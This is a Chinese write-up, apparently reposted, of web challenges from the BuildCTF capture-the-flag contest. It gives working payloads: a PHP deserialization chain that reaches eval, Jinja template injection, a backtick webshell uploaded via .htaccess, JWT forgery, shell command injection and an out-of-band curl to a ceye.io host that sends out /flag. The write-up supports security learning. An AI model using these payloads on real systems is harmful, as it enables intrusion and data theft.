欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > BuildCTF 公开赛web部分wp

BuildCTF 公开赛web部分wp

2025/11/4 7:54:13 来源:https://blog.csdn.net/m0_74825409/article/details/144679738  浏览:    关键词:BuildCTF 公开赛web部分wp
文章目录
    • LovePopChain
    • RedFlag
    • Why_so_serials?
    • babyupload
    • eazyl0gin
    • ez!http
    • ez_md5
    • find-the-id
    • sub
    • tflock
    • 刮刮乐
    • 我写的网站被rce了?

LovePopChain

payload:

<?php
class MyObject{public $NoLove="Do_You_Want_Fl4g?";public $Forgzy;public function __wakeup(){if($this->NoLove == "Do_You_Want_Fl4g?"){echo 'Love but not getting it!!';}}public function __invoke(){$this->Forgzy = clone new GaoZhouYue();}
}class GaoZhouYue{public $Yuer;public $LastOne;public function __clone(){echo '最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}
}class hybcx{public $JiuYue;public $Si;public function __call($fun1,$arg){$this->Si->JiuYue=$arg[0];}public function __toString(){$ai = $this->Si;echo 'I W1ll remember you';return $ai();}
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->callxxx(new GaoZhouYue());
echo serialize($a);

在这里插入图片描述

浅提一下思路

我们目的是想要 eval($_POST[‘y3y4’]); 需要触发__clone(),从而找到 MyObject的__invoke()方法,想要触发__invoke()需要找到hybcx类的__toString()方法,想要触发__toString()方法,就要触发MyObjec的__wakeup()方法,并让方法中的变量赋为对应的类即可

__clone(),当对象复制完成时调用
__invoke(),调用函数的方式调用一个对象时的回应方法
__toString(),类被当成字符串时的回应方法
其他方法详见超链接

RedFlag

import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/redflag/<path:redflag>')
def redflag(redflag):def safe_jinja(payload):payload = payload.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payloadreturn flask.render_template_string(safe_jinja(redflag))__globals__:对保存函数全局变量的字典的引用-定义函数的模块的全局命名空间。

payload:

http://27.25.151.80:44428/redflag/{{url_for.__globals__

发现current_app
在这里插入图片描述

http://27.25.151.80:44428/redflag/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述

Why_so_serials

<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');class Gotham{public $Bruce;public $Wayne;public $crime=false;public function __construct($Bruce,$Wayne){$this->Bruce = $Bruce;$this->Wayne = $Wayne;}
}if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){$Bruce = $_GET['Bruce'];$Wayne = $_GET['Wayne'];$city = new Gotham($Bruce,$Wayne);if(preg_match("/joker/", $Wayne)){$serial_city = str_replace('joker', 'batman', serialize($city));$boom = unserialize($serial_city);if($boom->crime){echo $flag;}}else{echo "no crime";}
}else{echo "HAHAHAHA batman can't catch me!";
}

字符串逃逸使得crime为1即可
payload

$a=new Gotham( 'c','jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}');
echo serialize($a);
echo "
";
$a=str_replace('joker', 'batman',serialize($a));
echo $a;

在这里插入图片描述

babyupload

在这里插入图片描述
发现upload.php
经过检测并未严格控制文件的上传后缀,不允许上传php,phtml文件,会检测Content-Type的类型是否为图片抓包 改Content-Type
思路:上传.htaccess文件+png文件
在这里插入图片描述
经过测试文件内容不能有php,eval,assert等敏感词汇

<?=`$_GET[x]`?>

在这里插入图片描述
命令可以执行这种情况可能是前面乱码的原因
在这里插入图片描述

eazyl0gin

  • 关键在routes/users.js

    var express = require(‘express’);
    var router = express.Router();
    const crypto = require(‘crypto’);
    const { type } = require(‘os’);

    /* GET users listing. */
    router.get(‘/’, function(req, res, next) {
    res.send(‘respond with a resource’);
    });

    router.post(‘/login’,function(req,res,next){
    var data = {
    username: String(req.body.username),
    password: String(req.body.password)
    }
    const md5 = crypto.createHash(‘md5’);
    const flag = process.env.flag

    if(data.username.toLowerCase()===‘buildctf’){
    return res.render(‘login’,{data:“你不许用buildctf账户登陆”})
    }

    if(data.username.toUpperCase()!=‘BUILDCTF’){
    return res.render(‘login’,{data:“只有buildctf这一个账户哦~”})
    }

    var md5pwd = md5.update(data.password).digest(‘hex’)
    if(md5pwd.toLowerCase()!=‘b26230fafbc4b147ac48217291727c98’){
    return res.render(‘login’,{data:“密码错误”})
    }
    return res.render(‘login’,{data:flag})

    })
    module.exports = router;

需要注意的在这里

  if(data.username.toLowerCase()==='buildctf'){return res.render('login',{data:"你不许用buildctf账户登陆"})}if(data.username.toUpperCase()!='BUILDCTF'){return res.render('login',{data:"只有buildctf这一个账户哦~"})}var md5pwd = md5.update(data.password).digest('hex')if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){return res.render('login',{data:"密码错误"})}return res.render('login',{data:flag})

参考p牛文章https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注意

"?".toUpperCase() == 'I'

这里就可以用来绕过
password直接md5解密
在这里插入图片描述
在这里插入图片描述

ez!http

user=root
在这里插入图片描述
改Referer
在这里插入图片描述
改User-Agent
在这里插入图片描述
改XFF
在这里插入图片描述
改Date
在这里插入图片描述
这里邮箱不知为何没有传递成功,当时比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。

ez_md5

在这里插入图片描述
这里输入

ffifdyop // MD5 加密后变成万能密码

在这里插入图片描述
查看下robots.txt
在这里插入图片描述

$Build != $CTF && md5($Build) == md5($CTF)
这里使用数组绕过即可
md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28"
根据已知提示使用脚本爆破

爆破脚本

import hashlib
def md5_encrypt(text):md5 = hashlib.md5()md5.update(text.encode('utf-8'))return md5.hexdigest()
for i in range(1145140000000,1145149999999):b=md5_encrypt(str(i))if(b=="3e41f780146b6c246cd49dd296a3da28"):print(i)break

在这里插入图片描述
在这里插入图片描述
这里将_改为[

find-the-id

给提示了

  • 善用工具,跟你爆了

  • 是1到300之间的某个整数

  • 在这里插入图片描述
    这道题有点莫名奇妙
    简单写个爆破脚本

    import requests

    for i in range(1, 300):
    url = f’http://27.25.151.80:44446/index.php?g={i}’
    res = requests.get(url=url).text
    if ‘BuildCTF’ in res:
    print(res)
    break

在这里插入图片描述

sub

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hashapp = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}messages = []@app.route('/message', methods=['GET', 'POST'])
def message():if request.method == 'POST':name = request.form.get('name')content = request.form.get('content')messages.append({'name': name, 'content': content})flash('Message posted')return redirect(url_for('message'))  return render_template('message.html', messages=messages)@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users:flash('Username already exists')return redirect(url_for('register'))users[username] = {'password': generate_password_hash(password), 'role': 'user'}flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')response = make_response(render_template('page.html'))response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return responseelse:return jsonify({"msg": "Invalid username or password"}), 401return render_template('login.html')@app.route('/logout')
def logout():resp = make_response(redirect(url_for('index')))resp.set_cookie('jwt', '', expires=0)flash('You have been logged out')return resp@app.route('/')
def index():return render_template('index.html')@app.route('/page')
def page():jwt_token = request.cookies.get('jwt')if jwt_token:try:payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])current_user = payload['sub']role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg": "Token has expired"}), 401except jwt.InvalidTokenError:return jsonify({"msg": "Invalid token"}), 401except Exception as e:return jsonify({"msg": "Invalid or expired token"}), 401if role != 'admin' or current_user not in users:return abort(403, 'Access denied')file = request.args.get('file', '')file_path = os.path.join(DOCUMENT_DIR, file)file_path = os.path.normpath(file_path)if not file_path.startswith(DOCUMENT_DIR):return abort(400, 'Invalid file name')try:content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:content = str(e)except Exception as e:content = str(e)return render_template('page.html', content=content)else:return abort(403, 'Access denied')@app.route('/categories')
def categories():return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])if __name__ == '__main__':app.run(host='0.0.0.0', port=5050)

附件大概可以知道这是一个jwt验证身份的网站,思路就是注册账户得到jwt通过密钥修改jwt得role身份为admin然后通过page网页修改file得参数达到执行任意命令得效果

在这里插入图片描述
漏洞点,file可以通过;执行多条任意命令

在这里插入图片描述
拿到jwt

修改为admin
在这里插入图片描述
拿到jwt去page页面
在这里插入图片描述

tflock

扫描出来这些文件
在这里插入图片描述
点击忘记密码发现提示
在这里插入图片描述
在robots.txt中找到密码本
在这里插入图片描述
发现两个目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
测试发现ctfer用户的账号和密码是对的需要通过password.txt爆破出admin的密码
将password.txt保存下来使用burpsuit爆破即可
这里不知为何重做时没用爆破出正确的密码,比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。

刮刮乐

查看源代码可以知道cmd参数

猜想执行命令

cmd=ls%7Csleep%203
//执行后发现延时所以可以执行命令不过无回显

使用带外注入

推荐利用平台 http://ceye.io/

cmd=curl http://xxxxx.ceye.io/`cat /flag`
或者
curl `cat /flag`.xxxxx.ceye.io都可以
改为自己的标识符

在这里插入图片描述

在这里插入图片描述

我写的网站被rce了?

在这里插入图片描述
查看日志和查看进程可以执行命令并回显
先了解写linux中的||
按照顺序,在第一个命令执行成功时,第二个命令就不会执行;或者在第一个命令返回错误时,将执行第二个命令
在这里插入图片描述
我们构建一个不存在的文件使得查看文件的命令错误执行第二个命令
同时保证access.log结尾
先查看一下源代码
cat和more被过滤使用uniq,空格被过滤使用$IFS
在这里插入图片描述
禁用不是太严格直接写命令读取
在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词